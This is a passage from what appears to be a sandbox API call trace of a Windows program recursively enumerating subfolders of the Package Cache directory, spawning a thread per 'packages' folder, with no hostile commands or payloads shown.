Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\" [0076.568] wcscat (in: _Dest=0x3429838, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*" [0076.568] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f32a8 [0076.568] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x33f32a8 | out: lpFindFileData=0x33f32a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e04d8 [0076.569] wcscmp (_String1=".", _String2=".") returned 0 [0076.569] FindNextFileW (in: hFindFile=0x33e04d8, lpFindFileData=0x33f32a8 | out: lpFindFileData=0x33f32a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.569] wcscmp (_String1="..", _String2=".") returned 1 [0076.569] wcscmp (_String1="..", _String2="..") returned 0 [0076.569] FindNextFileW (in: hFindFile=0x33e04d8, lpFindFileData=0x33f32a8 | out: lpFindFileData=0x33f32a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0076.569] wcscmp (_String1="packages", _String2=".") returned 1 [0076.569] wcscmp (_String1="packages", _String2="..") returned 1 [0076.569] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xba) returned 0x3431e48 [0076.569] wcscpy (in: _Dest=0x3431e48, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0076.569] wcscat (in: _Dest=0x3431e48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\" [0076.569] wcscat (in: _Dest=0x3431e48, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" [0076.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431e48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa10 [0076.586] FindNextFileW (in: hFindFile=0x33e04d8, lpFindFileData=0x33f32a8 | out: lpFindFileData=0x33f32a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0076.586] FindClose (in: hFindFile=0x33e04d8 | out: hFindFile=0x33e04d8) returned 1 [0076.586] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f32a8) returned 1 [0076.586] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429838) returned 1 [0076.586] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cf218) returned 1 [0076.586] RtlExitUserThread (Status=0x0) Thread: id = 823 os_tid = 0x1198 [0076.569] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x34298f0 [0076.569] wcscpy (in: _Dest=0x34298f0, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0076.570] wcscat (in: _Dest=0x34298f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\" [0076.570] wcscat (in: _Dest=0x34298f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*" [0076.570] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f39e0 [0076.570] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x33f39e0 | out: lpFindFileData=0x33f39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0618 [0076.570] wcscmp (_String1=".", _String2=".") returned 0 [0076.570] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x33f39e0 | out: lpFindFileData=0x33f39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.570] wcscmp (_String1="..", _String2=".") returned 1 [0076.570] wcscmp (_String1="..", _String2="..") returned 0 [0076.570] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x33f39e0 | out: lpFindFileData=0x33f39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0076.571] wcscmp (_String1="packages", _String2=".") returned 1 [0076.571] wcscmp (_String1="packages", _String2="..") returned 1 [0076.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xba) returned 0x3431f10 [0076.571] wcscpy (in: _Dest=0x3431f10, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0076.571] wcscat (in: _Dest=0x3431f10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\" [0076.571] wcscat (in: _Dest=0x3431f10, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" [0076.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431f10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa14 [0076.584] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x33f39e0 | out: lpFindFileData=0x33f39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0076.584] FindClose (in: hFindFile=0x33e0618 | out: hFindFile=0x33e0618) returned 1 [0076.584] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f39e0) returned 1 [0076.584] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34298f0) returned 1 [0076.584] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cf0b8) returned 1 [0076.584] RtlExitUserThread (Status=0x0) Thread: id = 824 os_tid = 0x11a0 [0076.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3427c30 [0076.571] wcscpy (in: _Dest=0x3427c30, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0076.571] wcscat (in: _Dest=0x3427c30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\" [0076.571] wcscat (in: _Dest=0x3427c30, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*" [0076.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f3c48 [0076.572] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x33f3c48 | out: lpFindFileData=0x33f3c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0658 [0076.572] wcscmp (_String1=".", _String2=".") returned 0 [0076.572] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x33f3c48 | out: lpFindFileData=0x33f3c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.572] wcscmp (_String1="..", _String2=".") returned 1 [0076.572] wcscmp (_String1="..", _String2="..") returned 0 [0076.572] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x33f3c48 | out: lpFindFileData=0x33f3c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0076.572] wcscmp (_String1="packages", _String2=".") returned 1 [0076.572] wcscmp (_String1="packages", _String2="..") returned 1 [0076.572] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xba) returned 0x3431fd8 [0076.573] wcscpy (in: _Dest=0x3431fd8, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0076.573] wcscat (in: _Dest=0x3431fd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\" [0076.573] wcscat (in: _Dest=0x3431fd8, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" [0076.582] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431fd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa18 [0076.582] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x33f3c48 | out: lpFindFileData=0x33f3c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0076.582] FindClose (in: hFindFile=0x33e0658 | out: hFindFile=0x33e0658) returned 1 [0076.583] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f3c48) returned 1 [0076.583] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427c30) returned 1 [0076.583] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cf588) returned 1 [0076.583] RtlExitUserThread (Status=0x0) Thread: id = 825 os_tid = 0x11a4 [0076.573] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xaa) returned 0x3427ce8 [0076.573] wcscpy (in: _Dest=0x3427ce8, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0076.573] wcscat (in: _Dest=0x3427ce8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\" [0076.573] wcscat (in: _Dest=0x3427ce8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*" [0076.573] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x349ef00 [0076.573] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x349ef00 | out: lpFindFileData=0x349ef00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0118 [0076.574] wcscmp (_String1=".", _String2=".") returned 0 [0076.574] FindNextFileW (in: hFindFile=0x33e0118, lpFindFileData=0x349ef00 | out: lpFindFileData=0x349ef00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.574] wcscmp (_String1="..", _String2=".") returned 1 [0076.574] wcscmp (_String1="..", _String2="..") returned 0 [0076.574] FindNextFileW (in: hFindFile=0x33e0118, lpFindFileData=0x349ef00 | out: lpFindFileData=0x349ef00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0076.574] wcscmp (_String1="packages", _String2=".") returned 1 [0076.574] wcscmp (_String1="packages", _String2="..") returned 1 [0076.574] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x3431580 [0076.574] wcscpy (in: _Dest=0x3431580, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0076.574] wcscat (in: _Dest=0x3431580, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\" [0076.574] wcscat (in: _Dest=0x3431580, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" [0076.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa1c [0076.581] FindNextFileW (in: hFindFile=0x33e0118, lpFindFileData=0x349ef00 | out: lpFindFileData=0x349ef00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0076.581] FindClose (in: hFindFile=0x33e0118 | out: hFindFile=0x33e0118) returned 1 [0076.581] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349ef00) returned 1 [0076.581] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427ce8) returned 1 [0076.581] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c8f68) returned 1 [0076.581] RtlExitUserThread (Status=0x0) Thread: id = 826 os_tid = 0x11a8 [0076.575] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xaa) returned 0x3427da0 [0076.575] wcscpy (in: _Dest=0x3427da0, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0076.575] wcscat (in: _Dest=0x3427da0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\" [0076.575] wcscat (in: _Dest=0x3427da0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*" [0076.575] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x349f638 [0076.575] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x349f638 | out: lpFindFileData=0x349f638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0198 [0076.576] wcscmp (_String1=".", _String2=".") returned 0 [0076.576] FindNextFileW (in: hFindFile=0x33e0198, lpFindFileData=0x349f638 | out: lpFindFileData=0x349f638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.576] wcscmp (_String1="..", _String2=".") returned 1 [0076.576] wcscmp (_String1="..", _String2="..") returned 0 [0076.576] FindNextFileW (in: hFindFile=0x33e0198, lpFindFileData=0x349f638 | out: lpFindFileData=0x349f638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0076.576] wcscmp (_String1="packages", _String2=".") returned 1 [0076.576] wcscmp (_String1="packages", _String2="..") returned 1 [0076.576] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x3430c80 [0076.576] wcscpy (in: _Dest=0x3430c80, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0076.576] wcscat (in: _Dest=0x3430c80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\" [0076.576] wcscat (in: _Dest=0x3430c80, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" [0076.579] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0 [0076.579] FindNextFileW (in: hFindFile=0x33e0198, lpFindFileData=0x349f638 | out: lpFindFileData=0x349f638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0076.579] FindClose (in: hFindFile=0x33e0198 | out: hFindFile=0x33e0198) returned 1 [0076.579] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349f638) returned 1 [0076.579] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427da0) returned 1 [0076.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f15c0) returned 1 [0076.580] RtlExitUserThread (Status=0x0) Thread: id = 827 os_tid = 0x11ac [0076.986] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xaa) returned 0x3429558 [0076.986] wcscpy (in: _Dest=0x3429558, _Source="C:\\Users\\All Users\\Package 